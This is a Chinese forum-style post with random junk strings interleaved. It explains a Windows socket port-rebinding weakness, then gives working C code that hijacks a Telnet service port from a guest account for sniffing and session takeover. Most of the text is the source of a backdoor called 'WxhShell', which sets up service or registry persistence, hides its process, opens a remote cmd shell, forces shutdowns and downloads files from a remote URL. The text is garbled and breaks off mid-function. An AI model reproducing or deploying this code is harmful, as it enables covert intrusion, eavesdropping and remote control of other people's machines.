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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q.3:"dT s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @KHY8y7 4hfq7kq7( saddr.sin_family = AF_INET; fo~*Bp()-E P0sAq7" saddr.sin_addr.s_addr = htonl(INADDR_ANY); \"L0d1DK) 1D!MXYgm1b bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !I&,!$ cf^ i!X0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U9Ea}aN M
'%zA;Wl 这意味着什么?意味着可以进行如下的攻击: $Xu/P5 J,=ZUh@M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1U^KN~! 0S&J=2D! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mfffOG E.0J94>iM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `|v/qk7
^? 0V8 6]zSo 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 _I3v"d rz`"$g+# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Lm<WT*@ x&+&)d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D
dCcsYm, ;|$o z{Ll 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qUn+1.[% Hr7pcz/#l #include mb%U~Na #include 4pelIoj #include M^hz<<:$ #include a({N}ZDo DWORD WINAPI ClientThread(LPVOID lpParam); Ro `Xs.X int main() =1VZcLNt { rQ2TPX<?a WORD wVersionRequested; i\DU<lD5VN DWORD ret; >#gDk K WSADATA wsaData; .N#KW BOOL val; vg"*%K$a SOCKADDR_IN saddr; qzO5p=} SOCKADDR_IN scaddr; suFk<^3 int err; PY3bn).uR SOCKET s; jffNA^e SOCKET sc; 0jPUDkH* int caddsize; )iK:BL*Nw HANDLE mt; cW"DDm
g DWORD tid; jP2#w{xq wVersionRequested = MAKEWORD( 2, 2 ); bC) <K/Q9 err = WSAStartup( wVersionRequested, &wsaData ); rce._w } if ( err != 0 ) { a"t~K printf("error!WSAStartup failed!\n"); 4gVIuF*pS return -1; 4vvQ7e7 } iE_[]Vgc saddr.sin_family = AF_INET; ma<uXq 6R$Yh0% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c6h+8QS ;+#Nb/M saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7`^Y*:( saddr.sin_port = htons(23); rKT.~ZP\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ">20`Mj8 { _% \% printf("error!socket failed!\n"); 6-g>(g return -1; A;&YPHB } /EegP@[ val = TRUE; c9c3o{(6Y //SO_REUSEADDR选项就是可以实现端口重绑定的 )~ &gBX if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `CBXz!v!O { o61rTj printf("error!setsockopt failed!\n"); Qgv g*KX return -1; D/;[x{;E } YTTij|( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &@BAVc z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ai^0{kF6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f5{|_]q] <r>Sj/w<D if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WiQVZ{ { \i}-Y[Dg ret=GetLastError(); Aho*E9VW printf("error!bind failed!\n"); \DBEs02 return -1; L<B)BEE. } ^Pu:&:ki listen(s,2); W2zG"Q while(1) ,`k6@4 { P|p
X
F~ caddsize = sizeof(scaddr); =K|#5p` //接受连接请求 C@zG(?X sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N^PkSf[)h5 if(sc!=INVALID_SOCKET) @$;8k } { CF\wR;6k mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;_|4c7 if(mt==NULL) jt9- v- { U}k@%m, printf("Thread Creat Failed!\n"); oR,zr break; _iEnS4$A8 } "O|.e`C%^ } }; M@JMu, CloseHandle(mt); ~3Zz.!F } 26 1? 8&c closesocket(s); h+&iWb3; WSACleanup(); ;cPPx`0$9 return 0; ^e;9_( } V8&'dhuG DWORD WINAPI ClientThread(LPVOID lpParam) HvKdV`bz {
4~ L1~Gk SOCKET ss = (SOCKET)lpParam; . &`YlK SOCKET sc; Hvy$DX|p unsigned char buf[4096]; B9KBq$e SOCKADDR_IN saddr; 2+S+Y%~ long num; v,z~#$T& DWORD val; B4* y-Q.* DWORD ret; xO<%lq` //如果是隐藏端口应用的话,可以在此处加一些判断 bAN>\zG+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 AkdO:hVtG saddr.sin_family = AF_INET; C+jXH)|iq saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a^E>LJL saddr.sin_port = htons(23); Sl'$w4s
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~-uf%= { nHQ*#&$ printf("error!socket failed!\n"); .XRe:\8mc return -1; @'GPZpbvZ } `L[q`r7 val = 100; *tk=D sRW if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .O(9\3q\ { >j$aY ret = GetLastError(); i_*. return -1; p5w9X+G% } #Ufb if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KIR3m
) { LpSF*xm ret = GetLastError(); }|N88PN return -1; [Ob'E!;< } L+T7Ge
q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SDNRcSbOD6 { XP:fL
NpQ printf("error!socket connect failed!\n"); 55UPd#E' closesocket(sc); C!9mygI closesocket(ss); #w \x-i| return -1; JKO*bbj } n9k while(1) Nh/i'q/ { !$ii*} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,Shzew+ //如果是嗅探内容的话,可以再此处进行内容分析和记录 WS(m#WFQr //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f8=qnY2j num = recv(ss,buf,4096,0); d#$Pf=} if(num>0) v.vkQQ0[9 send(sc,buf,num,0); 7+@-mJMP$D else if(num==0) m .(\u?J break; 1OMaY5F num = recv(sc,buf,4096,0); N#)Klq87z if(num>0) 2_o\Wor# send(ss,buf,num,0); 9) $[W else if(num==0) X&5N89 break; Q=vo5)t } G %\/[
B closesocket(ss); &DHIYj1 i closesocket(sc); ?"<m {,yQI return 0 ; *zDDi(@vtK } /-m) -MsL>F.] FwHqID_!:l ========================================================== jq8TfJ| 8fBhX,1 下边附上一个代码,,WXhSHELL *P]]7DR .d$Q5Qae ========================================================== '@w'(}3!3R |8[!`T*s #include "stdafx.h" 2J$vX( .0gfP4{1{ #include <stdio.h> *=v%($~PK6 #include <string.h> u2$.EM/iae #include <windows.h> uTPAf^| #include <winsock2.h> :pz@'J #include <winsvc.h> nnE'zk<" #include <urlmon.h> `,/5skeJ f\q5{#"z #pragma comment (lib, "Ws2_32.lib") L]"$dF #pragma comment (lib, "urlmon.lib") b\o>4T 3XQe? 2:< #define MAX_USER 100 // 最大客户端连接数 K"5q387! #define BUF_SOCK 200 // sock buffer fkX86 #define KEY_BUFF 255 // 输入 buffer vdB2T2F }lhk;#r #define REBOOT 0 // 重启 K3h7gY| . #define SHUTDOWN 1 // 关机 O'#;Ge/, M.Tp)ig\# #define DEF_PORT 5000 // 监听端口 DTo"{! wL>*WLfR #define REG_LEN 16 // 注册表键长度 +%KkzdS' #define SVC_LEN 80 // NT服务名长度 #Z
`Tk)u/ 5WxNH}{ // 从dll定义API iyr8*L\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 99By.+~pX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O0`ofFN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1|ddG010 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ot!m=s .V0fbHYTJ // wxhshell配置信息 G?\eO&QG{" struct WSCFG { n@"<NKzh int ws_port; // 监听端口 mvt-+K?U char ws_passstr[REG_LEN]; // 口令 @"/H
er int ws_autoins; // 安装标记, 1=yes 0=no '73}{" ' char ws_regname[REG_LEN]; // 注册表键名 Qy4Pw\ char ws_svcname[REG_LEN]; // 服务名 !v9`oL26 char ws_svcdisp[SVC_LEN]; // 服务显示名 '/9MN;_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 wxj}k7_(`A char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5=p<"*zJ int ws_downexe; // 下载执行标记, 1=yes 0=no 4oryTckS char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Knb(MI6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b2[U3)|oO 1{d;Ngx }; yI07E "9 s~B)xYmyB' // default Wxhshell configuration vUO[V$rx struct WSCFG wscfg={DEF_PORT, 5[)#3vY "xuhuanlingzhe", _Ye.29 1, P0OMu/ "Wxhshell", H]wP\m) "Wxhshell", T3SFG]H "WxhShell Service", f O+lD "Wrsky Windows CmdShell Service", '/0e!x/8 "Please Input Your Password: ", "zTy_0[; 1, h&d"| < " http://www.wrsky.com/wxhshell.exe", #Hu##x| "Wxhshell.exe" s?->2gxhx }; xE!0p EHd 8@S]P0lk // 消息定义模块 ~=[5X,Ta char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U#iW1jPE2 char *msg_ws_prompt="\n\r? for help\n\r#>"; ed_+bCNy char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; l7VTuVGUJ char *msg_ws_ext="\n\rExit."; yIngenr$ char *msg_ws_end="\n\rQuit."; bT
T> char *msg_ws_boot="\n\rReboot..."; M}CxCEdDB] char *msg_ws_poff="\n\rShutdown..."; !Yn#3c char *msg_ws_down="\n\rSave to "; dhJ=+Fz"w D/4]r@M2c char *msg_ws_err="\n\rErr!"; I!1+#0SG char *msg_ws_ok="\n\rOK!"; Lpkx$QZ $XMpC{ char ExeFile[MAX_PATH]; a$^)~2U{ int nUser = 0; Pw7uxN` HANDLE handles[MAX_USER]; 2Kr>93O int OsIsNt; }opMf6`w HUCJA-OZGL SERVICE_STATUS serviceStatus; k&f/f SERVICE_STATUS_HANDLE hServiceStatusHandle; ]F>#0Rdc eK*oV}U-k // 函数声明 {TJBB/B1 int Install(void); `D=`xSEYl int Uninstall(void); sN?Rx} int DownloadFile(char *sURL, SOCKET wsh); /Qef[$!( int Boot(int flag); .Z"`:4O void HideProc(void); 9(z) ^G int GetOsVer(void); [E6ceX0 int Wxhshell(SOCKET wsl); Yjd/ void TalkWithClient(void *cs); _G.!^+)kEm int CmdShell(SOCKET sock); =e PX^J*M' int StartFromService(void); N1.1 int StartWxhshell(LPSTR lpCmdLine); Lz-|M?( 8d Fqwpw8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `jTB9A" VOID WINAPI NTServiceHandler( DWORD fdwControl ); S&]r6ss >g~IP> // 数据结构和表定义 ^P]5@d v SERVICE_TABLE_ENTRY DispatchTable[] = xWK/uE ( {
kz6fU\U {wscfg.ws_svcname, NTServiceMain}, 5ZH3}B^L$ {NULL, NULL} {^uiu^RAc }; 34k>O AcXVfk z // 自我安装 % a.T@E int Install(void) kZrc^ { PN<VqtW char svExeFile[MAX_PATH]; EfpMzD7/( HKEY key; Y}t)!}p$r strcpy(svExeFile,ExeFile); XIZN9/; *o:J 4' // 如果是win9x系统,修改注册表设为自启动 +_bxza(ma{ if(!OsIsNt) { JEWc{)4QD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aot2F60J, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @V5i RegCloseKey(key); @H~oOf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [UC_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Iu`S0#+ RegCloseKey(key); En\q. 3
5 return 0; s3Zt)xQ3 } v#<{Y'K } .sM,U } x{K"z4xbI else { xJU]py~o *_#2|96) // 如果是NT以上系统,安装为系统服务 S&XlMu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6\I1J=
C if (schSCManager!=0) 6J}Yr5oD { ScD
E)r SC_HANDLE schService = CreateService =>evkaj ( p9u'nDi schSCManager, ]o0]i<: wscfg.ws_svcname, WvfM.D!
wscfg.ws_svcdisp, g"kI1^[nj SERVICE_ALL_ACCESS, UpE+WzY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }' Y)"8AIA SERVICE_AUTO_START, v'Ehr**]+ SERVICE_ERROR_NORMAL, e?B}^Dk0i svExeFile, C8T0=o/-` NULL, ZnzO] NULL, FkuD Gg~a NULL, S^==$TT NULL, mf{M-(6' NULL _`^AgRE ); d6JW" if (schService!=0) :FHEq~4 { rWDD$4y CloseServiceHandle(schService); w3sU& |N CloseServiceHandle(schSCManager); aBG^Xhx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hAc|a9 o strcat(svExeFile,wscfg.ws_svcname); LW.j)wB] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EU|IzUjFj| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j|&D(]W/ RegCloseKey(key); zy"k b return 0; L]!![v.VY } V.qH&FJ=l } ~I;x_0iY4 CloseServiceHandle(schSCManager); P2aFn=f }
k0ai#3iJ } =H;'.!77Hx i|AWaG) return 1; p'%S{v@5(( } ]d7A|)q 8Yf*vp>T/x // 自我卸载 -vT{D$&1 int Uninstall(void) \-[bU6\A\ { ){'<67dK HKEY key; /d:hW4}<}. iDl#foXa` if(!OsIsNt) { oPni4^g i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zaLPPm&f RegDeleteValue(key,wscfg.ws_regname); DQP!e6Of RegCloseKey(key); W SxoGly if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { srAWet RegDeleteValue(key,wscfg.ws_regname); .Tq8Qdl RegCloseKey(key); MusUgBQy return 0; kV T |(Y } YG:^gi } (Sgsy^|N } 9s[ else { 0!ZaR6 &p_iAMn:9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n^l*oEl if (schSCManager!=0) 6m(? (6+;K { 6k>5+ -&_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AH/o-$C& if (schService!=0) cb0rkmO { Ay 4P_>^ if(DeleteService(schService)!=0) { ")vtS}Ekt CloseServiceHandle(schService); /!?Tv8TPp CloseServiceHandle(schSCManager); ;|?_C8 return 0; @{_X@Wv4iV } 4;AQ12<[1 CloseServiceHandle(schService); O< /b]<[ } M/9[P*
VE CloseServiceHandle(schSCManager); \<T7EV. } H?Q--pG8 } hE`d@ !z4I-a return 1; ]a&riPh" } zx2`0%Q K\;4;6g // 从指定url下载文件 7.ein:M|CB int DownloadFile(char *sURL, SOCKET wsh) N'&>bO?@` { ^9 LoxU- HRESULT hr; l1]{r2g char seps[]= "/"; _/}$X"4 char *token; 41Q)w=hoN char *file; Et(H6O8 char myURL[MAX_PATH]; j
nSZ@u char myFILE[MAX_PATH]; UYJ>L +}?%w|8||s strcpy(myURL,sURL); *C+[I token=strtok(myURL,seps); =>3,]hnep while(token!=NULL) gzSm=6Qw0 { Q%?%zuU file=token; F*Hovxez token=strtok(NULL,seps); Vjt7X"_/ } tx9%.)M:n
%r.C9 GetCurrentDirectory(MAX_PATH,myFILE); &-Wt!X 3 strcat(myFILE, "\\"); - ry strcat(myFILE, file); Yu_
eCq5/ send(wsh,myFILE,strlen(myFILE),0); (2L,m send(wsh,"...",3,0); C(B"@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q$]1juqg if(hr==S_OK) RfD#/G3| return 0; t g-(e=S4P else DBcR1c&<H return 1; +4T.3Njjn 047PlS } Vn{;8hZ:a ^OIo // 系统电源模块 !]A/ID0K int Boot(int flag) &1^~G0Rh\ { OGJrwl HANDLE hToken; +MaEet TOKEN_PRIVILEGES tkp; qk3~]</ .-&
=\}^2l if(OsIsNt) { Et-|[ eL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jCNR63/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Nb_Glf tkp.PrivilegeCount = 1; tB`"gC~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f-[.^/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ps\4k#aOv if(flag==REBOOT) { R_GA`U\ { if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,%xat`d3,3 return 0; N2[j By8M } bDh4p]lm else { %++:
K if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }93FWo. return 0; eX"Ecl{ } Rc4=zimr+ } pxedj else { )T
gfd5B if(flag==REBOOT) { 7p':a) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) . a @7 return 0; mSu$1m8 } *& );-r`. else { Sw-2vnSdM if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z>Rshtg return 0; %Y'/_
esH2 } q8/k$5E } [kr-gV ebCS4&c return 1; #EE<MKka } PlA#xnq# 8L/XZ) // win9x进程隐藏模块 eS
?9}TG| void HideProc(void) s%Ph { jR\! 2! 40].:9VG HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); udr|6EjD. if ( hKernel != NULL ) s/11TgJ { w?nSQBz$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N!dBF t" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $qZ6i FreeLibrary(hKernel); |HY{Q1% } 30Qp:_D 55<!H-zt return; )*uo tV } ;WYzU`<g #sjGju"#_ // 获取操作系统版本 $kmY[FWu? int GetOsVer(void) 4o@:+T:1 { 811QpYA OSVERSIONINFO winfo; 1?8M31 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T9r6,yY GetVersionEx(&winfo); Y|hd!C-x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ks%;_~b return 1; p^ROt'eQ< else !~'D;Jh return 0; 5{1=BZftZ } Zn)o@'{}{ edlf++r~ // 客户端句柄模块 J
n2QvUAZ& int Wxhshell(SOCKET wsl) \' A-
Lp { j%]sym SOCKET wsh; R! X+- struct sockaddr_in client; Qu8=zI>t DWORD myID; ZDI?"dt{ O6b+eS while(nUser<MAX_USER) ?LU>2!jN { FrLv%tK| int nSize=sizeof(client); UEYJd&n0CB wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C; U4`0=8 if(wsh==INVALID_SOCKET) return 1; awz.~c++ a;~< iB;3" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /#eS3`48 if(handles[nUser]==0) "66#F closesocket(wsh); 4u41M,nJQd else N,VI55J:y> nUser++; !a!4^zqp } {dE(.Z?]!# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RK$( pTTM(Hrx return 0; $X\2h+ Os } zO$r {o*$|4q4 // 关闭 socket >MRuoJ void CloseIt(SOCKET wsh) r_tt~|s,> { Jx`7W1%T closesocket(wsh); +eLL)uk nUser--; }jWg&<5+z ExitThread(0); M5_t#[ [ } i 2uSPV!Tf THK^u+~LM // 客户端请求句柄 w&VDe(:~ void TalkWithClient(void *cs) TPKD'@:x { (./Iq#@S 0blbf@XA SOCKET wsh=(SOCKET)cs; [fvjvN` char pwd[SVC_LEN]; r5(efTgAd+ char cmd[KEY_BUFF]; s+&0Z3+ char chr[1]; N$:-q'hX int i,j; JlRNJ#h> swJQwY while (nUser < MAX_USER) { Y;g\ @j =kK%,Mr if(wscfg.ws_passstr) { _E6N*ORV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zq ?xY`E //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8$X3 J[_j //ZeroMemory(pwd,KEY_BUFF); 10m|? i=0; 2 1+[9 while(i<SVC_LEN) { Q~' \oWz H<?s[MH[ // 设置超时 QJjk#*?,| fd_set FdRead; TK~KM struct timeval TimeOut; @" umY-1f FD_ZERO(&FdRead); ,69547#o FD_SET(wsh,&FdRead); Q+QD, TimeOut.tv_sec=8; @*UV|$~(Q TimeOut.tv_usec=0; 4)'U!jSb int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R)isWw4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6P,uy;PJ N:+d=G`x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `YMd0* pwd =chr[0]; SdnO#J}{ if(chr[0]==0xd || chr[0]==0xa) { GWWaH+F[h pwd=0; H(M{hfa| break; m"'`$ /_ } +~y>22Zfg i++; ,LmP >Q. } $ye>;Ek x_C0=Q|K3 // 如果是非法用户,关闭 socket d:#tN4y7( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
cJTwgm? } P6'Se'f8 qTMY]=( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p:0X3?IG3 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E2>+V{TF _.BT%4 while(1) { :IfwhI) x5/&,&m`% ZeroMemory(cmd,KEY_BUFF); /s=veiH p7r/`_'| // 自动支持客户端 telnet标准 tp&|*M3 j=0; A%^7D.j while(j<KEY_BUFF) { }owl7G3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *BF[thB:a cmd[j]=chr[0]; 'lu3BQvfh if(chr[0]==0xa || chr[0]==0xd) { )Z['=+s% cmd[j]=0; _G25$%/LU break; E7aG&K } n"Bc2}{ j++; :rjfAe=s } apfr>L3 iXvrZofE // 下载文件 (vchZn# if(strstr(cmd,"http://")) { +"k?G send(wsh,msg_ws_down,strlen(msg_ws_down),0); rcY &n^: if(DownloadFile(cmd,wsh)) l~DIV$>,Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); _jgtZ else ``6- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nv6"c<(L= } <dr2 bz else { D&~%w! LGX+_" switch(cmd[0]) { {B6ywTK\` ,_,*I/o>B // 帮助 'U0W case '?': { Z|ZB6gP>h1 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e+{lf*"3 break; =]/<Kd}A. } j F/S2Ty2 // 安装 8]R{5RGy case 'i': { n5^57[( if(Install()) wEJzLFCn send(wsh,msg_ws_err,strlen(msg_ws_err),0); v=cQ`nou else 3T4HX|rC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n&?)gKL0g break; Dh?I } M'|p<SO] // 卸载 4i^WE;|s case 'r': { K{"hf:k if(Uninstall()) W-/V5=?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u*,>$(-u else )58~2vR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CA5`uh break; `+>K)5hrR } g-"G Zi // 显示 wxhshell 所在路径 c$tX3ug6I case 'p': { :XG~AR/ char svExeFile[MAX_PATH]; %2g<zdab strcpy(svExeFile,"\n\r"); gw[Eu>I strcat(svExeFile,ExeFile); n^O!93a send(wsh,svExeFile,strlen(svExeFile),0); ,u)jZ7 break; H6|eUU[& } Pw thYy // 重启 0\B{~1(^ case 'b': { 0_MtmmL. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d%-/U!z? if(Boot(REBOOT)) W g6H~x send(wsh,msg_ws_err,strlen(msg_ws_err),0); iemp%~UZ else { $gD8[NAIx= closesocket(wsh); z0SF2L H ExitThread(0); .Y^cs+-o } c:>&YGmhu break; V %D1Q}X } nb<o o:^ // 关机 jC{KI!kPt case 'd': { TO"Md["GI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 83gWA>Odh if(Boot(SHUTDOWN)) eNVuw: Q+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); u'>94Gm} else { A>2 _I) closesocket(wsh); NMf#0Nz- ExitThread(0); g=@d!]Z~[ } ^+CHp(X break; @|Yn~PwKs } ka8Y+Gs // 获取shell b.@4yW case 's': { m_@XoS
yxI CmdShell(wsh); *pv<ZF0> closesocket(wsh); q^Oj/ws ExitThread(0); dIYf}7 P break; '@Rk#=85Z } tH.L_< N // 退出 #u8#<
,w case 'x': { 9q_{_%G% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [3nWxFz$R CloseIt(wsh); dr: x0>
break; Xo/H+[;X } cy;i1#1rO // 离开 s8>y&b. case 'q': { CEc(2q+%i send(wsh,msg_ws_end,strlen(msg_ws_end),0); F@f4-NR> closesocket(wsh); /w(g:e WSACleanup(); m6n%?8t exit(1); S)j(%g break; :-JryiI } <<A#4!f } QDJ
"X }
QSY>8P h@G~'\8t // 提示信息 LSJ.pBl\X if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tO:JB&vO2 } vszm9Qf } x;z=[eE *K;)~@n
return; L6{gwoZf3 } /[\g8U{5B} 1(IZ,*i // shell模块句柄 P@vUQ int CmdShell(SOCKET sock) V@#oQi* { PDuBf&/e STARTUPINFO si; %
_E?3 ZeroMemory(&si,sizeof(si)); ~o"=4q`> si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8{2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o9"?z PROCESS_INFORMATION ProcessInfo; U{M3QOF char cmdline[]="cmd"; @=dv[P"jn CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x0(bM g>7 return 0; 2*z~'i } uMZ~[Sz <%S)6cw(3 // 自身启动模式 ~ a`[p\ int StartFromService(void) D^US2B { _r{H)}9 typedef struct <a @7's { V@k+RniEO DWORD ExitStatus; .G!xcQ`? DWORD PebBaseAddress; 6Uk+a=Ar DWORD AffinityMask; 7`;sX?R DWORD BasePriority; W
wPzm?30 ULONG UniqueProcessId; K8X7IE ULONG InheritedFromUniqueProcessId; f/#Id]B } PROCESS_BASIC_INFORMATION; 'A7!@hVy 8$\j| mN PROCNTQSIP NtQueryInformationProcess; j2_j5Hgo xS/W}-dPv static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s!/lQo5/ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `M6"=)twu >aO.a[AM HANDLE hProcess;
